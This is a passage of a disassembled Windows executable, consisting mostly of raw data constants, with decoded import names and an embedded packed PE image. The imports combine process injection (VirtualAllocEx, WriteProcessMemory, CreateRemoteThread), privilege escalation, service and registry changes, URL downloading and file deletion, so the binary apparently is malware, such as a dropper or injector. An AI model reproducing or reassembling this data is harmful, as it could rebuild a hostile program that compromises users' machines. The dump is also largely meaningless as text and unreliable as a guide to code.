dup(80008000h), 3008000h dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h) dd 0Ah dup(8000800h), 3 dup(80008000h), 3 dup(6000600h) dd 0Ah dup(4000400h), 2 dup(80008000h), 1000h, 40h dup(0) dd 40A0C700h, 3 dup(40A3F700h), 4 dup(40A0C700h), 40A3F700h dd 409D4C00h, 409DBB00h, 3 dup(40A0C700h), 40A3F700h, 409DBB00h dd 4 dup(40A3F700h), 40A18900h, 409F5300h, 40A2C100h, 2 dup(40A3F700h) dd 40A31F00h, 40A3F700h, 409F5300h, 2 dup(40A3F700h), 409F5300h dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h dd 7 dup(30303030h), 3030h, 2 dup(0) dd 100h, 200h, 0 dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h, 0A2E0A1E0h dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h dd 0 dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h dd 35343332h, 39383736h, 44434241h, 4645h, 0 dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh dd 75h, 97D78400h, 41h, 0F0000000h, 3Fh, 0 dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh dd 4E00666Eh, 6E004E41h, 6E61h, 40BE0800h, 40BE2300h, 40BDFF00h dd 40BE2300h, 40BDEA00h, 40BE2300h, 40BDF600h, 2 dup(40BE2300h) dd 40BE1100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0) dd 3000h, 2E0000h, 13h dup(0) dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0) dd 5000h, 0Dh dup(0) dd 800h, 1000h, 2000h, 4000h, 8000h, 10000h, 20000h, 40000h dd 2 dup(0) dd 93052000h, 19h, 2 dup(0) dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0) dd 100h, 0 dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0) dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h) dd 41130000h, 0Ah dup(0) dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h) dd 41136C00h, 41134C00h, 0Ah dup(0) dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0) dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h, 4C0h, 8D00h dd 8C0h, 8E00h, 8C0h, 8F00h, 8C0h, 9000h, 8C0h, 9100h dd 8C0h, 9200h, 8C0h, 9300h, 8C0h, 7 dup(0) dd 40000h, 2Ch dup(0) dd 40FB7400h, 40FB8200h, 0 dd 300h, 40FE5E00h, 0Fh dup(0) dd 40FE5E00h, 0Fh dup(0) dd 40FE5E00h, 0Fh dup(0) dd 40FE5E00h, 0Fh dup(0) dd 7 dup(4101E400h), 7F7F7F00h, 2 dup(7F7F7F7Fh), 7F7F7Fh dd 4101E500h, 2 dup(4101E400h), 0 dd 0F0000000h, 7Fh, 0F8000000h, 7Fh, 90000000h, 3Ch, 40000000h dd 3Eh, 32000000h, 40h, 0 dd 11A8400h, 2 dup(0) dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0) dd 124B200h, 11E2400h, 11C4800h, 2 dup(0) dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0) dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0) dd 1259800h, 11EF000h, 5 dup(0) dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h dd 127BA00h, 127CC00h, 127D800h, 0 dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h dd 0 dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h dd 1252800h, 0 dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0 dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h dd 127BA00h, 127CC00h, 127D800h, 0 dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h dd 0 dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h dd 1252800h, 0 dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0 db 0 db 2 dup(0), 47h aEttickcount db 'etTickCount',0 db 0 db 2 dup(0), 49h aNitializecriti db 'nitializeCriticalSection',0 db 2 dup(0), 45h aNtercriticalse db 'nterCriticalSection',0 db 0 db 2 dup(0), 4Ch aEavecriticalse db 'eaveCriticalSection',0 db 0 db 2 dup(0), 47h aEtstdhandle db 'etStdHandle',0 db 0 db 2 dup(0), 47h aEtlocaltime db 'etLocalTime',0 db 0 db 2 dup(0), 47h aEtmodulefilena db 'etModuleFileNameA',0 align 4 db 0 aLocalalloc_0 db 'LocalAlloc',0 db 0 db 2 dup(0), 43h aReatefilemappi db 'reateFileMappingA',0 align 4 db 0 aGetlasterror_2 db 'GetLastError',0 align 4 db 0 aMapviewoffil_0 db 'MapViewOfFile',0 align 4 db 0 aUnmapviewoff_0 db 'UnmapViewOfFile',0 db 2 dup(0), 4Fh aPenfilemapping db 'penFileMappingA',0 dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h dd 65636F72h, 7373h, 69615700h, 726F4674h, 676E6953h, 624F656Ch dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh dd 4165h, 7A695300h, 52666F65h, 756F7365h, 656372h, 4C000000h dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh dd 41h, 74654700h, 636F7250h, 72646441h, 737365h, 57000000h dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h dd 506E6570h, 65636F72h, 7373h, 74654700h, 74697845h, 65646F43h dd 65726854h, 6461h, 65724300h, 54657461h, 686C6F6Fh, 33706C65h dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h dd 65746165h, 4579654Bh, 4178h, 67655200h, 56746553h, 65756C61h dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h dd 6E65704Fh, 4579654Bh, 4178h, 67655200h, 656C6544h, 654B6574h dd 4179h, 696E4900h, 6C616974h, 53657A69h, 72756365h, 44797469h dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h dd 656D614Eh, 41h, 67655200h, 72657551h, 6C615679h, 78456575h dd 41h, 65704F00h, 4D43536Eh, 67616E61h, 417265h, 4F000000h dd 536E6570h, 69767265h, 416563h, 43000000h, 65736F6Ch dd 76726553h, 48656369h, 6C646E61h, 65h, 65755100h, 65537972h dd 63697672h, 61745365h, 737574h, 43000000h, 676E6168h dd 72655365h, 65636976h, 666E6F43h, 416769h, 43000000h dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 41326769h dd 53000000h, 74726174h, 76726553h, 41656369h, 43000000h dd 74616572h, 72655365h, 65636976h, 41h, 6C654400h, 53657465h dd 69767265h, 6563h, 74655300h, 76726553h, 53656369h, 75746174h dd 73h, 67655200h, 65747369h, 72655372h, 65636976h, 6C727443h dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h, 0F00h dd 1000h, 1300h, 0A00h, 3400h, 600h, 3900h, 0B00h, 1400h dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h dd 416Eh, 746E4900h, 656E7265h, 65704F74h, 6C72556Eh, 41h dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h dd 6575h, 65724300h, 54657461h, 61657268h, 64h, 73655200h dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h dd 69776E55h, 646Eh, 61654800h, 65724370h, 657461h, 48000000h dd 44706165h, 72747365h, 796Fh, 61654800h, 6C6C4170h, 636Fh dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h dd 6C694665h, 4165h, 736C5400h, 6F6C6C41h, 63h, 74654700h dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h dd 7246736Ch, 6565h, 736C5400h, 56746547h, 65756C61h, 55000000h dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h dd 69467341h, 6954656Ch, 656Dh, 74654700h, 656C6946h, 65707954h dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h dd 4173h, 72695600h, 6C617574h, 6F6C6C41h, 63h, 72695600h dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h dd 6E457465h, 46664F64h, 656C69h, 7 dup(0) dd 8F8C4B00h, 47h, 1000000h, 0A00h, 1800h, 80h, 8F8C4B00h dd 47h, 1000000h, 1F4100h, 3000h, 80h, 8F8C4B00h, 47h dd 1000000h, 41900h, 4800h, 1405800h, 1567800h, 2 dup(0) dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0 dd 1A004000h, 8 dup(0) dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh, 9021CD4Ch, 69685490h dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h dup(0) dd offset dword_455000 dd 3014C00h, 3 dup(0) dd 8E00E000h, 10BA1h, 3 dup(0) dd 460FB00h, 100000h, 2 dup(0) dd 100010h, 20000h, 2 dup(0) dd 400h, 0 dd 4800000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 4703800h, 2800h, 6 dup(0) dd 4706000h, 1000h, 14h dup(0) dd 4E4D4400h, 30h, 3000000h, 100000h, 5 dup(0) dd 6000h, 4E4D44C0h, 31h, 1512400h, 3100000h, 1520000h dd 40000h, 3 dup(0) dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1560000h dd 3 dup(0) dd 6000h, 0C0h, 63h dup(0) dd 0CA367D00h, 31F1A2D1h, 91B6BF96h, 24E150A1h, 7792963Bh dd 433147C1h, 0D1085E5Dh, 48FD698Ch, 221B5461h, 92B779C1h dd 128BEA0Bh, 0D903C70Eh, 15285481h, 65FD5B90h, 0FE3FCFD6h dd 0B91F7AE6h, 0ABFCCC2Bh, 486DBCC0h, 0E39A30B5h, 5EC06583h dd 0D7BFCB6Ah, 5517BFB3h, 0FE603931h, 403EBDF6h, 0D15F64E6h dd 410B7CB4h, 4BE2BE9Fh, 0E0E8B03Ch, 46424E04h, 0BAD68CBAh dd 6024104Ch, 0A2425388h, 9CD3B1FDh, 0EEA0AEAFh, 369C7ED6h dd 0FAC51486h, 69763A18h, 670F853Eh, 0A360B520h, 6F391F7Eh dd 7BAEFD75h, 9BC86B7Ch, 0E72D96BDh, 0F11F3A1Dh, 2C0F8EF2h dd 81AC0206h, 9E4D9CBCh, 0A43C66D9h, 39132EF4h, 99D0513Dh dd 0FB54A63Dh, 0CCB2C4FEh, 0DAC2F387h, 2C633F6Eh, 730C24AEh dd 0C9CB212Fh, 2E20BF95h, 846EFACCh, 978614Ch, 14A0B8F7h dd 8F8991B9h, 0D6FBC46Bh, 0F1AF94C2h, 673FAABCh, 913AA476h dd 727DD609h, 7431A249h, 9E2F1B28h, 1651864Bh, 94AAB839h dd 22D3D0F8h, 9678F2E5h, 2DB327EAh, 4714D028h, 136F2B7Dh dd 4A540D0Bh, 0B71FE475h, 0A045C199h, 0A4024FA4h, 7E8906EEh dd 0A0FCC5CFh, 6EBA7A9Dh, 0B7813AB3h, 41206F12h, 0C301A498h dd 7F04667Eh, 90E315A2h, 9361EDE0h, 0AA42F5DAh, 974EF667h dd 9F45528Ch, 696F9B42h, 24719A0Ah, 0C2FE8D0Bh, 0EC6EA330h dd 0AAC91BAAh, 0F2FDD492h, 38FE29B9h, 0E53DC4D5h, 48946C2Ah dd 0DAEAE06Ah, 8F3484D3h, 8FD94098h, 587C478Dh, 96D78B27h dd 0FD94FD9Fh, 1D7D9765h, 0EEDD8A81h, 80011B90h, 0BB270A10h dd 0F4FFEC4Ch, 0D41CFA3h, 7A49C036h, 77ADCB3h, 7D1F16CEh dd 426CC743h, 0E2DA6690h, 7F731CDCh, 65771B9Ah, 56398AE2h dd 8CEF5BF3h, 0FEB89C3Ch, 564F005Bh, 50D72A18h, 0D95F0A1Eh dd 20222BDCh, 1158F497h, 8135EDCh, 0CF4BAC06h, 0CAE72848h dd 45C283A8h, 82364EA6h, 43794F7Ch, 0F8E1E156h, 30B5AA27h dd 9EF04C57h, 0D6A68EDCh, 93C12FD9h, 4AB32506h, 339E7650h dd 7AB30EE8h, 368A4C22h, 0C4EEF7F3h, 6AF40B79h, 346FAA8Fh dd 156DADD3h, 0D7D710D1h, 0F9254DA0h, 95C7FC14h, 0FBCF449Eh dd 0CCF6FD14h, 3E1E0708h, 9478AA09h, 7A90B48h, 1B5B1287h dd 50733529h, 18C3B0C9h, 192644D9h, 0CE3C7A10h, 69159D12h dd 0B3B9328Fh, 1034F60Fh, 0FF59A791h, 0A7B8CA13h, 0F462F6F8h dd 284E3BA7h, 6081E1C8h, 0E1C3F03Ah, 0E87EE462h, 84F24C6Ch dd 0D83CCD56h, 0B03EDDF4h, 4BA5EB23h, 3E635982h, 42FE486Bh dd 874D1D9Dh, 1E82EFF9h, 0E9384065h, 0BFAA45F1h, 0DB05EE23h dd 0A926216Ch, 0DB60BFF6h, 2B2DC485h, 0A73AC40Bh, 2532F790h dd 6CEC1315h, 7C20086Dh, 6747D9D7h, 3D2944E9h, 0A5B96D6Ch dd 64016C58h, 3C89E194h, 0F5E99F58h, 0F39D1393h, 0B88D9E2Ah dd 0B17C26EDh, 575D88FCh, 4BB47231h, 0C14B7352h, 6C0BCD2Ch dd 0A70448D4h, 0C2D20F88h, 0D6E1A889h, 425A93DBh, 75C70FAh dd 54D7C660h, 4FD6303Fh, 52B5CD15h, 45E00DCAh, 20BF2156h dd 37AD6A3Ah, 7F9566F0h, 0BB024CB7h, 0D32FA287h, 2C5A913Bh dd 72DC47B5h, 6AA30A98h, 930BA65Fh, 304F5C0Dh, 0D99642A2h dd 68C4C41Ah, 8372EEF2h, 0F4F4629Dh, 0F54B9D8Bh, 1BF631A9h dd 48223A9Ch, 0ECCA1F75h, 0ED6F8D2h, 0AE076281h, 6E312B1Dh dd 0A5DFC814h, 0AD453A6Fh, 8DD97E90h, 61AC32C2h, 5628039Dh dd 7BE4EE0Dh, 73CA3E99h, 98828D11h, 0EFE006BFh, 0A3B0EA66h dd 61D9C374h, 91CB698Bh, 802FE436h, 0C8677904h, 0FD6F8DA8h dd 0EE382D8Ch, 0DAD17EA2h, 22C68C11h, 13056C08h, 77A33E81h dd 65B77943h, 8621BF44h, 0ECF28B6Fh, 0C4BEFE25h, 0D76F11A6h dd 0BE9FE743h, 0ED2CDE4h, 18EC6E43h, 0CF68F94h, 0D8126A89h dd 3687A25Eh, 83F0F6ECh, 8541F8E5h, 98102Ch, 5AFDE51Dh dd 8BE0608Fh, 16F47B4Eh, 0A8EC7529h, 69F439FFh, 63BA15C9h dd 3F89EAC7h, 613D5981h, 11F90C02h, 804E6272h, 0ED4A6B59h dd 366078ABh, 0B091FE4h, 0E0816229h, 49BA4637h, 0ABF8534Ch dd 3ADBE2E7h, 7AD51E31h, 6979F0F0h, 4EDABA4Fh, 0C6D0C92Eh dd 3E9908D6h, 71698C10h, 0ED3D3F5Eh, 0A4CFA8E9h, 0C02D9B02h dd 4575D757h, 3EDAC1D3h, 63FA8E97h, 660DCCFh, 275C50F8h dd 0DB081A97h, 6C6AD23Dh, 0FD3DEB25h, 810ED035h, 962918B4h dd 8DDFC94Dh, 0ACA7E593h, 3C26D8C0h, 60110D22h, 0FE39FE98h dd 4C0294B1h, 0D387479h, 269D7A62h, 3900B36Bh, 47855345h dd 43B8A769h, 0A2C240A6h, 0F21B4C65h, 12E3BC80h, 0D65C8946h dd 345E1630h, 0F1E458BFh, 77122888h, 0A4EBEFC2h, 82D7E765h dd 7FC238A2h, 59315E7h, 437AD21Eh, 0C6F1870Eh, 15A4F24Bh dd 30AA0685h, 0D328F483h, 92C5BA5Ah, 0F0B3CB21h, 0C7DED90Bh dd 0BDE8FB2Ah, 2C095243h, 0DA41F6D7h, 0B6E8A0A0h, 30BE62E4h dd 0FBA8848Dh, 4360D025h, 4E2EE4C1h, 6E48C137h, 954170CDh dd 48BAEEB9h, 0A9F5BCB1h, 14CAB18Ch, 0B9C2D63Dh, 0BFF36342h dd 0A7E0C70Bh, 44AB527h, 8726437Bh, 0FF18185Dh, 64F391Dh dd 36B796E3h, 57F606D8h, 3C22173Fh, 8771FE1h, 883F682Eh dd 0CA85729Fh, 0ACFFE433h, 70245DF5h, 5FD1BE16h, 5833583Fh dd 9EA2CD89h, 0F17B6FF9h, 0A20E55FFh, 82FFCF26h, 0A535C75h dd 9F575722h, 0FBAFB534h, 1B023E1Dh, 0C5785488h, 7117F476h dd 4FBA30A2h, 7D09DDEDh, 0D901CCDFh, 40ACEAC3h, 0CAD7F07Bh dd 0C42D77E3h, 874B17AAh, 3D08BAB2h, 0B8C04527h, 0C8645F76h dd 481C9912h, 35222280h, 44DB6308h, 0F41FBA9Eh, 3C850322h dd 0BA80C74Bh, 288E3A18h, 0EB96415Fh, 0DCD68AD5h, 4C27613Dh dd 1C77F894h, 0ECF6AD20h, 67F14358h, 0D9E98C9Bh, 71EBE2DAh dd 45D04E8Ch, 0D525E930h, 65359F8h, 0AF93DBE6h, 0EA5508B9h dd 0EA3086A8h, 0DB4810FAh, 0F292E81Ch, 0DD38126Fh, 74685640h dd 0F579C2A8h, 15D774DDh, 6C1EFF65h, 0F8817BA7h, 0D3935E42h dd 0FC6D9676h, 0C7BF2833h, 166A44EAh, 0C0DA72B7h, 67CB7432h dd 351BAB93h, 0F90AAE95h, 0B6807EBCh, 0D08FB693h, 0DA9959DDh dd 0ED67A5Ah, 0C2388B6h, 9C407F64h, 0EF062EC7h, 67922B49h dd 0D9AF9F1Dh, 706730D6h, 54C84AB4h, 0D735F120h, 0FA734B58h dd 0BEE9E4AFh, 37DCFD39h, 0C530B08Dh, 0FD1D2D37h, 6B14375h dd 0A75B491Ch, 0E73FDB20h, 0BA676CC5h, 0B0C5D495h, 822C9D5Eh dd 0D9711297h, 0F2DC0121h, 9B31F959h, 0D1A22489h, 0E4A42C6h dd 0D01A7E87h, 74BD30Ah, 7A1C5B67h, 38857D22h, 0B283BCBDh dd 0D88F3292h, 0CB945123h, 1CD26B4Dh, 0CC2FDEAEh, 1C596B74h dd 0EF29A41Fh, 67B340DAh, 0DA6D8E9Fh, 70E3E6D2h, 47C046BCh dd 0D905F950h, 0FE9338B8h, 0B6A9BB6Bh, 0C05D3EB9h, 0E430328Eh dd 3F1E2937h, 8AB66B72h, 9F575D1Ch, 0F727074Bh, 5A772D29h dd 0F0F45491h, 3ED8D56h, 0D9E312A4h, 0F1D81140h, 8539F89Fh dd 0D5522B15h, 7E4F3510h, 0A05A7CE3h, 26CB9804h, 0BB1C435Fh dd 0BA85DAA3h, 8E83E6BDh, 0C08F4E8Dh, 0DB95E921h, 7CD35B49h dd 0EC2DFE86h, 0FD38C96Ah, 0EF214FF2h, 675C5CBFh, 0DA335911h dd 7F5FFB2Eh, 4638FEA4h, 0D815FD40h, 0FCB33098h, 8A69AB2Bh dd 98DD1F79h, 875110A0h, 591FA556h, 0CEB76B7Eh, 17555D1Ch dd 0C7238D26h, 7A4034C4h, 3104D49Fh, 838E8D2Ah, 0D9A512BCh dd 30541113h, 0E8448A93h, 0D742483Eh, 7A0A4A4Eh, 0BF9B6B67h dd 364B22C2h, 0D81CBE9Fh dd 0F4856F23h, 0A83E0BDh, 0C88F4A8Ch, 6995E160h, 5CD34B47h dd 4C2D9E9Ah, 1C5CFB5Fh, 0EF20AE96h, 675D413Ch, 0DA318953h dd 7F5BE4AAh, 463042ACh, 0D865F170h, 0FCD328F8h, 8A285AEBh dd 0D95D40B9h, 0F233B68Eh, 5B1F2137h, 0D2B47B72h, 0F53BD1Ch dd 0D72FBB26h, 1A58ACC4h, 712B549Fh, 3AF8D2Ah, 0DA6712BDh dd 0F0D01152h, 8729F8A3h, 0D9722B4Dh, 7EEA40AEh, 0B7DA7B77h dd 0C1CB2EE2h, 0F91C50DEh, 36856EA3h, 8683E742h, 0F08F488Ch dd 3B95E527h, 0BCD34345h, 0C2D8E9Eh, 9C5CDB57h, 0EF20EEA5h dd 675EC15Dh, 0DA308895h, 7F59EB26h, 46344154h, 0D87DF360h dd 